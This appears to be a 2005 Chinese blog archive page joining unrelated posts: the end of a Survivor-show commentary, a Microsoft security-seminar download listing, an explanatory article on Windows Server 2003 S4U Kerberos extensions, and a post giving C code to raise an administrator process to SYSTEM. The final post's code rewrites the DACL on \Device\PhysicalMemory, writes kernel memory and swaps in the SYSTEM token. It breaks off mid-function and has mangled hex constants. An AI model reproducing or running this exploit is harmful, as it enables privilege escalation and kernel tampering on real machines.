准备一同投票给Richard,但只有三票,而Richard拥有“四人团”,于是她开始拉拢“四人团”中的Kelly,并许诺准备成立一个女性联盟,而
且历数Richard的种种丑行,结果Colleen的游说有点奏效了,但狡猾的Kelly并没有明确地同意加入那个根本不存在的女性联盟,只是给了
Colleen一个模棱两可的态度,显然Kelly的模棱两可既使她自己掌握了主动,又使Colleen的女性联盟计划落空了。

  当晚族会奇怪的事情发生了,Richard得到了三票,但原P族的Jenna却得到了四票,于是原P族又少了一个族人,Richard则安全脱险。这
次Richard之所以能脱险,全靠了那个按字母排序投票的蠢人Sean。按照Sean的字母排序投票,上次应该投给Gervase,但由于
Gervase赢得了上次豁免权,所以被跳过,按他的逻辑,跳过的人将列入下一轮字母序,于是他把票投给了无辜的Jenna。Richard再次利用了
Sean的字母序,以“借力打力”的手段“铲除”一个对手。

  在接下来的一次豁免权竞赛中,他的老战友Rudy获胜,Richard的联盟轻易淘汰了Gervase。三天后,又一次豁免权竞赛,Richard获胜,最终族会毫无悬念地淘汰了

Colleen,至此原P族人被全部被淘汰出局,Richard密谋的“四人团”获全胜。而且进一步的主动权还掌握在他手上。现在新的豁免权竞赛的胜负对
他来说已经不重要了,而且蠢人Sean已经没用了,是应该让他离开的时候了,于是愚蠢而可怜的Sean直到这时才有点醒悟,但他已经连挣扎一下的机会都没
有了,他被“四人团”一脚踢开。最终原T族的四名族人:Richard、Susan、Kelly和Rudy胜利会师,迎来了整个游戏的最后竞争。





  ★启示10:在激烈竞争的团队中什么样的人将被最终留下来呢?“四人团”的全胜就是很好的例子:经验最丰富者被留下(Rudy);最年轻者被留下(Kelly);最机智而年富力强者被留下(Richard和Susan)。这是自然的选择,是符合正态分布的。





  第三阶段的比赛是从四人中(Richard、Susan、Kelly、Rudy)再淘汰两人,最后剩下的两人进入决赛。为了能更清楚地了解最后的比赛,我们再来看看这剩下的四个原T族人:

  Richard,男,39岁,通讯顾问。

  Kelly,女,23岁,水上救生员。(此次比赛最年轻的参赛者)

  Rudy,男,72岁,美国海军退伍军人。(此次比赛最年长的参赛者)

  Susan,女,39岁,卡车司机。

  随着Sean的出局,原来的“四人团”自然地消亡了。每个人开始想自己也想别人,而最终只有一个目的—夺得那100万美元。于是这四个人开始“各自为
政”,其状态就象人们刚刚上岛时一样,每个人都各抒己见,阴谋消失了,比赛又有了公平的气息,这是一种轮回,实际上也是一种螺旋式的上升。正是在这种新的
公平气氛中,新的豁免权竞赛—记忆力比赛开始了。对于记忆力比赛,我不用多解释了,现在比赛的结果最重要。

  其实这场比赛的胜者很容易猜出来,因为年轻人的记忆力总是最好的,所以新的豁免权得主只能是年轻机智的水上救生员—Kelly。这让我想起了唯心主义
哲学家们对造物主的经典的评价:造物主总是用它那无所不在而又无所不能的自然之手,以一种最简明的,而又是不可阻挡的方式推动着一切,最终让事物向着最自
然、最符合逻辑的方向发展。

  Kelly得到了豁免权,别人不能投票给她了,但她仍可以投票给别人,所以Richard、Susan、Rudy三人中必有一人出局。当晚的族会,卡车司机—Susan得到了三票。于是Richard、Rudy“幸存”了下来。

  三天后,Kelly、Richard、Rudy三人迎来了整个游戏的最后一次豁免权竞赛。这是一场耐力比赛,最终,三人同时用手扶着一根豁免神像柱,
看谁坚持的时间最长。这次,首先失败的是Richard,顽强的Rudy也没能坚持多久,最终,最年轻的参赛者Kelly再次赢得了这次豁免权,同时也是
整个游戏的最后一次豁免权。

  由于整个游戏只剩下三个人了,当晚的族会按要求改变了投票规则。只有得到豁免权的人可以投票,其他人只能等待命运的安排,换言之,当晚只有Kelly
能投票且只有一票,Kelly投票给谁,谁就被淘汰。最终Kelly选择了Rudy,这位72岁的美国海军退伍军人终于不得不熄灭自己的火炬,并对主持人
说:“我没想到我能走这么远,我已经很满足了”。请记住这次投票,这是后来人们议论的一个热点。





  ★启示11:在团队竞争中年轻人是最有优势的一个群体,他们冲劲十足,虽然经验欠缺,但年龄优势使他们有更多的机会成功。年轻是最有竞争力的因素,所以有人说:年轻就是美丽,年轻没有失败。





  为期39天的比赛到了最后阶段,最终的“幸存者”将从年轻机智的Kelly和强壮有力的Richard中产生。想想伟大的塞伦盖蒂草原上的狮群吧!如
果一个狮群已经有了一位狮王,而在这个狮群中有一个“年轻人”,它站出来要挑战狮王的地位。毫无疑问,这场“斗争”是在强壮有力和年轻机智间展开的。原来
的狮王很可能战胜这只年轻的狮子,但年轻的狮子在今后不断的挑战中迟早会成为新狮王,这是自然的法则。

  Richard,男,39岁,通讯顾问。

  Kelly,女,23岁,水上救生员。(此次比赛最年轻的参赛者)

  按照游戏的规则,这最终的较量将不再进行任何比赛,代之以将此前被淘汰的的七名族人请回,并组成一个“陪审团”,由这个七人陪审团投票选举,谁的票数
多谁就是最终的幸存者。其实到现在为止,应该说Kelly和Richard都是获胜者,也都是幸存者,而谁能最终拿走那100万美元,只有祈求造物主了。
这个七人陪审团是:

  Rudy,男,72岁,美国海军退伍军人。(此次比赛最年长的参赛者)

  Susan,女,39岁,卡车司机。

  Sean,男,31岁,神经科医生。

  Greg,男,25岁,大学生。

  Jenna,女,23岁,模特。

  Gervase,男,31岁,篮球教练(黑人)。

  Colleen,女,24岁,大学生。

  结果Kelly三票,Richard四票,最终年富力强,老谋深算的Richard获胜,成为了第一位“幸存者”,并获得了那100万美元的奖金。

  对于这样的结果,很多人有不同的议论。有人说Richard是个阴谋家,他获胜实在不公平。有人说Kelly没能利用最后一次豁免权淘汰
Richard是个错误,因为如果那次她投票淘汰了Richard,最后站在七人陪审团面前的将是她和Rudy。对于陪审团来说,无疑Kelly比
Rudy更有吸引力,那时Kelly肯定能拿走那100万美元的奖金。但所有这些议论都已经不可能发生了,事实就是Richard获胜。

  对此,我以为不能简单地讨论公平还是不公平,而应该从团队竞争的角度辨证地看待这个结果。Kelly固然朝气蓬勃,博闻强记,但Richard也年富
力强,老谋深算。而且Richard在经验、计谋(也可以说是阴谋)方面确实胜过Kelly,所以一个年富力强而善于机谋的人成了最终的胜者,这样的结果
是完全解释得通,完全合理的,因此不能说比赛不公平。





  ★启示12:很多竞争是只有冠军而没有亚军的,冠军是“幸存者”,而亚军甚至和早就被淘汰的人没有区别。在这种竞争中,最终的“幸存者”会是什么人呢?很好判定,这种人应该具有三个特点:年富力强、善于机谋、在一次最关键的竞争中有极好的“运气”。





  个人在团队中生存的总结

  ☆做个诚实的人。

  ☆和团队的其它成员充分沟通,让别人了解你。

  ☆尽自己的力量为团队做事,尤其是在你比较擅长的方面。

  ☆取得成绩后可以适当表现,但不要过分张扬,更不要藐视他人。

  ☆虽然你不搞“阴谋”,但不等于“阴谋”不会找上你,所以你还必须保持高度的警惕,对潜在的危机有充分的估计,并且尽快制订出对策。

  ☆“站队”别站错了!“有志者”“站错了队”是不会被原谅的,而“小蚂蚁”“站错了队”是仍然会被接纳的。

  ☆当你开始实施你的“计划”时,别忘了祈求造物主在关键时刻给你好运!

2005年05月11日

      

Overview

Starting
with an open and vulnerable system, this series of seminars will teach
the key areas you need to know to protect you network from attack. This
no-nonsense approach includes implementing strong security policies,
protecting you applications from attack and locking down your network.

System Requirements

  • Supported Operating Systems: Windows 2000, Windows 98, Windows NT, Windows Server 2003, Windows XP

Powerpoint 2000 or greater

Instructions

Right-click on the link and click "Save Target As…" to save the document to your hard drive…


Files in this Download

Below are links to the separate files available for this download.

File Name: File Size

Assessing Network Security.ppt

2343

Security Risk Management Discipline.ppt

2396

Think Like a Hacker Pt 1.ppt

2326

Think Like a Hacker Pt 2.ppt

973

2005年05月08日

By oshah
Screenshot of the ACL Editor
Figure 1: The ACL Editor

2005年05月03日
Exploring S4U Kerberos Extensions in Windows Server 2003




Building
Web sites that provide services external to the corporate firewall is
tricky. Usually it’s not desirable to grant corporate domain accounts
to external clients, and from a purely practical standpoint Kerberos
does not work well over the Internet due to the typical configuration
of client-side firewalls. This means that the site has to provide some
form of authentication and authorization that is different from the
methods built into Windows®.

To help deal with this and the other
challenges I’ll describe, Microsoft has implemented two extensions to
Kerberos designed for use on servers. These extensions are collectively
called Service-for-User (S4U). The goal is to allow server developers
to program against the built-in security model that Windows provides,
making use of the group-based authorization framework that
administrators are already familiar with.

This column assumes a basic familiarity with Kerberos. For an online primer, see "Exploring Kerberos, the Protocol for Distributed Security in Windows 2000" in the August 1999 issue of Microsoft Systems Journal. For a more detailed explanation, see the book Programming Windows Security (Addison-Wesley, 2000). For the spec, see RFC 1510 at the IETF site (http://www.ietf.org/rfc/rfc1510.txt).


Discovering Authorization Information

The
first extension I’ll introduce helps a server discover the groups that
a domain user belongs to. The authorization framework in Windows has
become so complicated that it’s virtually impossible for a server
developer to manually discover the groups for a user. Global groups
come from the user’s home domain and may be nested. Universal groups
can come from all over the user’s home forest, are stored in the global
catalog, and may be nested as well. Domain local groups are stored in
the server’s domain and may be nested. Local groups are stored on the
server machine and are the easiest of the bunch to deal with. The
SIDHistory feature in Windows 2000 means the resulting group expansion
may need to be done multiple times for some users. Another feature
called domain quarantine might mean removing some groups. Simply put,
trying to manually figure out the group membership of a domain user is
a developer’s worst nightmare, and should be avoided.

The best
way to get an authoritative list of groups for a user is to establish a
logon for that user and look at the resulting token. During Kerberos
authentication, the domain controllers perform all the heavy lifting.
The only problem is, to perform Kerberos authentication on a client’s
behalf, the server needs to have the client’s primary credentials,
which basically means having access to the client’s password or the
client’s ticket-granting ticket (TGT) and the corresponding session
key. If the server knew the client’s password, here’s how simple it
would be to get a token for a client named Alice, in the domain sales:

HANDLE hToken;
if (LogonUser("alice", "sales", alicesPassword, LOGON32_LOGON_NETWORK,
0, &hToken)) {
// hToken holds a token with all of Alice's groups
}

The obvious problem here is that the server must know the client’s password, which is a severe breach of trust.
S4U2Self

The
S4U solution in this case is for the server to go through the motions
of Kerberos authentication and obtain a logon for the client, but
without providing the client’s credentials. Thus, you’re not really
authenticating the client in this case, only making the rounds to
collect the group security identifiers (SIDs) for the client. To allow
this to occur, Windows Server 2003 domain controllers accept a new type
of Kerberos request, where the service requests a ticket from the
client to itself, presenting its own credentials instead of the
client’s. This extension is called Service-for-User-to-Self (S4U2Self).

If
the client and the service are in separate domains, this requires a
bidirectional trust path between them because the service, acting on
the client’s behalf, must request tickets from the client’s domain.

While
the wire-level details are all rather complicated, the service
developer need only call one function to start the ball rolling:
LsaLogonUser. In spirit, this is similar to calling LogonUser as I have
shown earlier, but without needing to provide the client’s password.
The result is a token that the service can use with functions like
AccessCheck and CheckTokenMembership, as well as the new AuthZ family
of authorization functions. This allows the service to perform access
checks against security descriptors for objects that it manages.

To
protect the client, LsaLogonUser normally returns a token with a
special restriction. The token will have an impersonation level of
Identify, which means that the service will not be able to open kernel
objects while impersonating the client using this token. However, for
services that are part of the trusted computing base (TCB)—for example,
a service running as SYSTEM—LsaLogonUser will return a token with an
impersonation level of Impersonate, allowing access to local kernel
objects using the client’s identity. This prevents an untrusted service
from using an S4U2Self ticket to elevate its own local privileges.

Developers
who want to use this feature need only call LsaLogonUser. However,
LsaLogonUser is a difficult function to use. It expects 14 arguments,
some of which are pointers to variable-length structures or handles to
things that need opening first. Version 1.1 of the Microsoft® .NET
Framework (in beta as of this writing) includes a new constructor on
the WindowsIdentity class that tremendously simplifies this:

public WindowsIdentity(string userPrincipalName);

Figure 1 shows some sample C++ code that calls LsaLogonUser directly, requesting an S4U2Self logon.


The Problem of Delegation

Delegation
is another problem that has plagued developers. Even when a client is
able to use Kerberos to authenticate with a service, the client’s
security context given to the service does not normally contain the
client’s network credentials. Imagine what could happen without this
protection: a service, which may or may not be trusted in its own
domain, could use a client’s credentials from another domain to access
resources it would normally not be able to access on its own. No client
would ever want to use such a service, unless that service was highly
trusted.

Windows 2000 introduced a feature called unconstrained
delegation that allowed clients to delegate credentials to certain
services that were designated as "trusted for delegation." In this
case, unconstrained means that the service could use these delegated
credentials anywhere on the network, all day long. Very few
organizations actually used this feature, however, for two reasons.
First, compromise of a service trusted for delegation means compromise
of all the delegated credentials it holds, making it a virtual honeypot
for attackers. Second, the local administrator of such a service must
be highly trusted, lest he elevate his own privileges by misusing
client credentials on the network. It was clear that this feature would
be used only in a handful of rare situations.


Constrained Delegation or S4U2Proxy

The
Active Directory® implementation in Windows Server 2003 has matured
significantly since Windows 2000, and it supports a more reasonable
delegation model known as constrained delegation. The idea is that a
service may be allowed to delegate client credentials, but domain
controllers will be much more selective about issuing such credentials.
Thus, when service A requests Kerberos tickets for service B using
delegated client credentials, the domain will consult a list to see if
service A is allowed to delegate credentials to service B. In other
words, the network administrator can control the scope of delegation.

Figure 2 Constrained Delegation
Figure 2 Constrained Delegation

An
example of this would be a COM+ service hosting business logic. The
service might need to access a remote database using the client’s
credentials. The network administrator can grant limited delegation
privileges to the COM+ service, allowing it to delegate only to the
database service. Figure 2 shows how this
can be configured with the Active Directory Users and Computers tool.
In this case, the COM+ service runs under the built-in Network Service
account on a machine called AppServer, and the remote database is on a
machine called DataServer. Contrast this to Windows 2000, where the
only choice for delegation was a checkbox that turned unconstrained
delegation on or off, as shown in Figure 3.

Figure 3 Unconstrained Delegation
Figure 3 Unconstrained Delegation

Kerberos,
as defined by RFC 1510, does provide a constrained delegation feature
known as a proxy ticket, but the client must request these tickets on
the service’s behalf. The Microsoft extension to Kerberos, known as
S4U2Proxy (Service-for-User-to-Proxy), allows the service to obtain
tickets on the client’s behalf based on configuration settings in
Active Directory. With S4U2Proxy, a service can obtain tickets to some
other service (the proxy) for a user. This means the client must trust
the directory (and its administrators) because the client no longer has
control over whether her credentials may be delegated.

Technically,
the biggest difference between normal Kerberos proxy delegation and
S4U2Proxy is that in standard Kerberos the client’s TGT is required to
obtain proxy tickets. In S4U2Proxy, since the service is requesting the
tickets on the client’s behalf and the service does not have the
client’s TGT, the service submits a service ticket instead, which will
be either the ticket the client presented to the service during normal
Kerberos authentication or a ticket obtained on the client’s behalf via
S4U2Self. In the latter case, the client may not even have been
authenticated using Kerberos, which may seem a bit odd. This particular
case is known as protocol transition.


Protocol Transition

A
common problem with externally facing services in Windows 2000 is
client authentication and authorization. Since Kerberos authentication
isn’t usually an option over the Internet, these services must often
use other authentication techniques such as Secure Sockets Layer (SSL)
with client certificates, hand-rolled forms-based solutions, Microsoft
Passport, or other proprietary authentication protocols such as SecurID
from RSA Security. Once the service determines the client’s identity,
the challenge is to convert this knowledge into real Windows
credentials that can be used to access local resources and remote
services on the client’s behalf.

Once again, there are two
solutions to this problem in Windows 2000: either the service knows the
password for an account representing the client and uses this password
to obtain a Kerberos logon, or the service must scrape through Active
Directory manually to figure out the group memberships for the user.
Because the service couldn’t use Kerberos to authenticate its client,
it is effectively penalized by not being able to easily make
authorization decisions based on settings in Active Directory.

Protocol
Transition uses both of the S4U Kerberos extensions I’ve described to
make it possible for a service in this position to transition from a
proprietary authentication protocol to the Microsoft Kerberos
implementation on the back end. Figure 4 shows what protocol transition looks like.

Figure 4 Protocol Transitioning
Figure 4 Protocol Transitioning

Developers
can use this technique by authenticating the client using whatever
technique makes sense, then calling LsaLogonUser to obtain a token for
the user via the S4U2Self extension that I discussed earlier. The
developer writes code to impersonate the resulting token and makes
authenticated requests to any of the back-end services to which it is
allowed to delegate. The back-end services will think the client is
accessing them—not the front-end service—and will receive a security
context for the client, along with all groups and privileges that the
client would have if she had authenticated directly with the back-end
service. Thus the front-end server acts as a trusted point of
authentication protocol transition. The network administrator controls
which back-end services trust the front-end service via the constrained
delegation settings in Active Directory.

Note that the network
administrator must explicitly allow the server to use protocol
transition by granting constrained delegation using "any authentication
protocol" on the front end.


Controls and Limitations

Impersonation
and delegation of a client’s credentials is a sensitive matter, and
several controls are maintained in Active Directory to prevent abuse of
these extensions. A service that wants to use S4U2Self to obtain a
token for a client must be granted permission to enumerate the groups
for that client. The network administrator controls this permission via
the access control list on the Active Directory user object attribute
known as Token-Groups-Global-And-Universal, which isn’t accessible via
the Active Directory Users and Computers snap-in, but can be accessed
interactively using ADSIEdit or programmatically via ADSI.

When a
service requests an S4U2Self ticket for a client, if protocol
transition has been enabled for that service in the directory, the
resulting ticket will have the forwardable flag set. This controls
whether the service can use this ticket to further obtain S4U2Proxy
tickets to delegate the client’s credentials to other services. If the
client’s account has been marked "Sensitive and cannot be delegated,"
the forwardable flag will not be set, and delegation will not be
allowed. Even if the forwardable flag is set, S4U2Proxy tickets will
only be issued for services that the requesting service is allowed to
delegate to (refer back to Figure 2 to take a look at the list in Active Directory).

S4U2Proxy
tickets will not work if the path from the client’s domain to the
target resource domain spans more than two forests. The reason for this
has to do with the way cross-forest security identifier filtering works.

As
I mentioned earlier, LsaLogonUser behaves differently depending on
whether the caller has the TCB privilege. If the caller enables the TCB
privilege before calling LsaLogonUser, it will return a token that can
be used to access local resources on the machine; otherwise, this will
be disallowed via the impersonation level on the token. This is
orthogonal to whether the forwardable flag is set, so technically you
can end up with a token that you can impersonate and use for delegation
to remote services, but while impersonating you will be denied access
to all local kernel objects. An example of this would be a service
running as NETWORK SERVICE (as opposed to SYSTEM) that has been granted
the right to use constrained delegation.

Note that for brevity
I’ve mentioned permissions that a service must be granted. What I mean
by this is that the account the service is running under must be
granted the permissions. For example, if the service is running as Bob,
Bob must be granted the permissions. More subtly, if the service is
running as NETWORK SERVICE or SYSTEM, it is running on behalf of the
machine itself, so the machine account must be granted the permissions.


Conclusion

Tightly
coupling authorization with authentication has been both a blessing and
a curse for Microsoft. The benefits are clear. As the client obtains
Kerberos tickets, domain controllers inject group SIDs into the
tickets, which eliminates the network round-trips that would be needed
to get to a separate authorization service. The administration model is
also simplified. The downside is that the only way to get authoritative
authorization information is via Kerberos authentication, and
extensions like these don’t make it any easier to interoperate with
other implementations of Kerberos. In addition, the bidirectional trust
that must be established between forests for these features to work
across forest boundaries is another potential stumbling block.

2005年04月28日

管理员组获取系统权限的完美解决方案



Author : ZwelL

Blog   : http://www.donews.net/zwell

Date   : 2005.4.28



    关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了.

小四哥就提到了一些:"MSDN系列(3)–Administrator用户直接获取SYSTEM权限"和"远程线程注入版获取SYSTEM权限".

这里,我先踩在前辈的肩上列一些可行的方法:



1. "利用ZwCreateToken()自己创建一个SYSTEM令牌(Token)"

2. HOOK掉创建进程的函数ZwCreateProcess(Ex),用winlogon ID 创建

3. 远线程插入,插入线程到系统进程,创建一新进程



这上面三种方法都是scz提到的,也存在一些问题.其实除此这外,我们还可以:

4. 将程序做成服务,带参数运行新进程



做为服务来讲就是SYSTEM了,再创建的进程也是SYSTEM权限.



当然,这里我都不会用到上面提到的方法.因为网上都能找到现成的实现代码.而且考虑一些复杂性以及存在的一些问题都不是很好的解决方案.



这里,我拿出两种新的方案来实现该功能:



第一种方法.我们先来看一下系统是如何进行权限检测的,

举个例子,在调用了OpenProcessToken,我们知道会进行权限的验证:

OpenProcessToken->NtOpenProcessToken->PsOpenTokenOfProcess->PsReferencePrimaryToken->找到这一句Token = Process->Token;

                                    |->ObOpenObjectByPointer调用上面返回的TOKEN进行检查



也就是说,系统在检测权限时仅仅通过从进程的EPROCESS结构种拿出Token项进行操作.因此我们不需要继续往ObOpenObjectByPointer里面跟进了。

思路已经很明显:直接将System进程的Token拿过来,放到我们进程的Token位置。那么系统就认为我们是SYSTEM权限.

而这时我们的进程创建的子进程也就是SYSTEM权限了。(以上分析过程请参考WINDOWS源代码…^_^)



实现代码:

===========================================================================================================

#include<windows.h>

#include<stdio.h>

#include<Accctrl.h>

#include<Aclapi.h>



#define TOKEN_OFFSET 0xc8 //In windows 2003, it’s 0xc8, if others’ version, change it

#define NT_SUCCESS(Status)            ((NTSTATUS)(Status) >= 0)

#define STATUS_INFO_LENGTH_MISMATCH        ((NTSTATUS)0xC0000004L)

#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)



typedef LONG  NTSTATUS;

typedef struct _IO_STATUS_BLOCK

{

    NTSTATUS    Status;

    ULONG        Information;

} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;



typedef struct _UNICODE_STRING

{

    USHORT        Length;

    USHORT        MaximumLength;

    PWSTR        Buffer;

} UNICODE_STRING, *PUNICODE_STRING;



#define OBJ_INHERIT             0×00000002L

#define OBJ_PERMANENT           0×00000010L

#define OBJ_EXCLUSIVE           0×00000020L

#define OBJ_CASE_INSENSITIVE    0×00000040L

#define OBJ_OPENIF              0×00000080L

#define OBJ_OPENLINK            0×00000100L

#define OBJ_KERNEL_HANDLE       0×00000200L

#define OBJ_VALID_ATTRIBUTES    0×000003F2L



typedef struct _OBJECT_ATTRIBUTES

{

    ULONG        Length;

    HANDLE        RootDirectory;

    PUNICODE_STRING ObjectName;

    ULONG        Attributes;

    PVOID        SecurityDescriptor;

    PVOID        SecurityQualityOfService;

} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;  



typedef struct _SYSTEM_MODULE_INFORMATION

{

    ULONG Reserved[2];

    PVOID Base;

    ULONG Size;

    ULONG Flags;

    USHORT Index;

    USHORT Unknown;

    USHORT LoadCount;

    USHORT ModuleNameOffset;

    CHAR ImageName[256];

} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;



typedef enum _SYSTEM_INFORMATION_CLASS

{

    SystemBasicInformation,

    SystemProcessorInformation,

    SystemPerformanceInformation,

    SystemTimeOfDayInformation,

    SystemNotImplemented1,

    SystemProcessesAndThreadsInformation,

    SystemCallCounts,

    SystemConfigurationInformation,

    SystemProcessorTimes,

    SystemGlobalFlag,

    SystemNotImplemented2,

    SystemModuleInformation,

    SystemLockInformation,

    SystemNotImplemented3,

    SystemNotImplemented4,

    SystemNotImplemented5,

    SystemHandleInformation,

    SystemObjectInformation,

    SystemPagefileInformation,

    SystemInstructionEmulationCounts,

    SystemInvalidInfoClass1,

    SystemCacheInformation,

    SystemPoolTagInformation,

    SystemProcessorStatistics,

    SystemDpcInformation,

    SystemNotImplemented6,

    SystemLoadImage,

    SystemUnloadImage,

    SystemTimeAdjustment,

    SystemNotImplemented7,

    SystemNotImplemented8,

    SystemNotImplemented9,

    SystemCrashDumpInformation,

    SystemExceptionInformation,

    SystemCrashDumpStateInformation,

    SystemKernelDebuggerInformation,

    SystemContextSwitchInformation,

    SystemRegistryQuotaInformation,

    SystemLoadAndCallImage,

    SystemPrioritySeparation,

    SystemNotImplemented10,

    SystemNotImplemented11,

    SystemInvalidInfoClass2,

    SystemInvalidInfoClass3,

    SystemTimeZoneInformation,

    SystemLookasideInformation,

    SystemSetTimeSlipEvent,

    SystemCreateSession,

    SystemDeleteSession,

    SystemInvalidInfoClass4,

    SystemRangeStartInformation,

    SystemVerifierInformation,

    SystemAddVerifier,

    SystemSessionProcessesInformation

} SYSTEM_INFORMATION_CLASS;



typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )

(

IN SYSTEM_INFORMATION_CLASS SystemInformationClass,

IN OUT PVOID SystemInformation,

IN ULONG SystemInformationLength,

OUT PULONG ReturnLength OPTIONAL

);



typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(

    OUT PHANDLE  SectionHandle,

    IN  ACCESS_MASK  DesiredAccess,

    IN  POBJECT_ATTRIBUTES  ObjectAttributes

    );



typedef VOID (CALLBACK* RTLINITUNICODESTRING)(                

    IN OUT PUNICODE_STRING  DestinationString,

    IN PCWSTR  SourceString

    );



typedef struct _SYSTEM_HANDLE_INFORMATION

{

    ULONG            ProcessId;

    UCHAR            ObjectTypeNumber;

    UCHAR            Flags;

    USHORT            Handle;

    PVOID            Object;

    ACCESS_MASK        GrantedAccess;

} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;



RTLINITUNICODESTRING        RtlInitUnicodeString;

ZWOPENSECTION            ZwOpenSection;

ZWQUERYSYSTEMINFORMATION    ZwQuerySystemInformation = NULL;

HMODULE    g_hNtDLL = NULL;

PVOID     g_pMapPhysicalMemory = NULL;

HANDLE     g_hMPM     = NULL;



BOOL InitNTDLL()

{

    g_hNtDLL = LoadLibrary( "ntdll.dll" );

    if ( !g_hNtDLL )

    {

        return FALSE;

    }



    RtlInitUnicodeString =

        (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");



    ZwOpenSection =

        (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");



    ZwQuerySystemInformation =

        ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );



    ZwQuerySystemInformation =

        ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );



    return TRUE;

}



VOID CloseNTDLL()

{

    if(g_hNtDLL != NULL)

    {

        FreeLibrary(g_hNtDLL);

    }

}



VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)

{



    PACL pDacl=NULL;

    PACL pNewDacl=NULL;

    PSECURITY_DESCRIPTOR pSD=NULL;

    DWORD dwRes;

    EXPLICIT_ACCESS ea;



    if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,

        NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)

    {

        goto CleanUp;

    }



    ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));

    ea.grfAccessPermissions = SECTION_MAP_WRITE;

    ea.grfAccessMode = GRANT_ACCESS;

    ea.grfInheritance= NO_INHERITANCE;

    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;

    ea.Trustee.TrusteeType = TRUSTEE_IS_USER;

    ea.Trustee.ptstrName = "CURRENT_USER";





    if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)

    {

        goto CleanUp;

    }



    if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)

    {

        goto CleanUp;

    }



CleanUp:



    if(pSD)

        LocalFree(pSD);

    if(pNewDacl)

        LocalFree(pNewDacl);

}



HANDLE OpenPhysicalMemory()

{

    NTSTATUS        status;

    UNICODE_STRING        physmemString;

    OBJECT_ATTRIBUTES    attributes;



    RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" );



    attributes.Length            = sizeof(OBJECT_ATTRIBUTES);

    attributes.RootDirectory        = NULL;

    attributes.ObjectName            = &physmemString;

    attributes.Attributes            = 0;

    attributes.SecurityDescriptor        = NULL;

    attributes.SecurityQualityOfService    = NULL;



    status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);



    if(status == STATUS_ACCESS_DENIED){

        status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);

        SetPhyscialMemorySectionCanBeWrited(g_hMPM);

        CloseHandle(g_hMPM);

        status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);

    }



    if( !NT_SUCCESS( status ))

    {

        return NULL;

    }



    g_pMapPhysicalMemory = MapViewOfFile(

        g_hMPM,

        4,

        0,

        0×30000,

        0×1000);

    if( g_pMapPhysicalMemory == NULL )

    {

        return NULL;

    }



    return g_hMPM;

}



PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)

{

    ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;

    if(VAddr>=0×80000000 && VAddr<0xa0000000)

    {

        PAddr=VAddr-0×80000000;

        return (PVOID)PAddr;

    }

    PGDE=BaseAddress[VAddr>>22];

    if ((PGDE&1)!=0)

    {

        ULONG tmp=PGDE&0×00000080;

        if (tmp!=0)

        {

            PAddr=(PGDE&0xFFC00000)+(VAddr&0×003FFFFF);

        }

        else

        {

            PGDE=(ULONG)MapViewOfFile(g_hMPM, FILE_MAP_ALL_ACCESS, 0, PGDE & 0xfffff000, 0×1000);

            PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];

            if ((PTE&1)!=0)

            {

                PAddr=(PTE&0xFFFFF000)+(VAddr&0×00000FFF);

                UnmapViewOfFile((PVOID)PGDE);

            }

            else return 0;

        }

    }

    else return 0;



    return (PVOID)PAddr;

}







ULONG GetData(PVOID addr)

{

    ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);

    PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0×1000);

    if (tmp==0)

        return 0;

    ULONG ret=tmp[(phys & 0xFFF)>>2];

    UnmapViewOfFile(tmp);

    return ret;

}



BOOL SetData(PVOID addr,ULONG data)

{

    ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);

    PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0×1000);

    if (tmp==0)

        return FALSE;

    tmp[(phys & 0xFFF)>>2]=data;

    UnmapViewOfFile(tmp);

    return TRUE;

}



DWORD MyGetModuleBaseAddress( char * pModuleName)

{

    PSYSTEM_MODULE_INFORMATION    pSysModule;    



    ULONG            uReturn;

    ULONG            uCount;

    PCHAR            pBuffer = NULL;

    PCHAR            pName    = NULL;

    NTSTATUS        status;

    UINT            ui;

    CHAR            szBuffer[10];

    DWORD            pBaseAddress;



    status = ZwQuerySystemInformation( SystemModuleInformation, szBuffer, 10, &uReturn );

    pBuffer = ( PCHAR )malloc(uReturn);

    if ( pBuffer )

    {

        status = ZwQuerySystemInformation( SystemModuleInformation, pBuffer, uReturn, &uReturn );

        if( NT_SUCCESS(status) )

        {

            uCount = ( ULONG )*( ( ULONG * )pBuffer );

            pSysModule = ( PSYSTEM_MODULE_INFORMATION )( pBuffer + sizeof( ULONG ) );

            for ( ui = 0; ui < uCount; ui++ )

            {

                pName = strstr( pSysModule->ImageName, pModuleName );

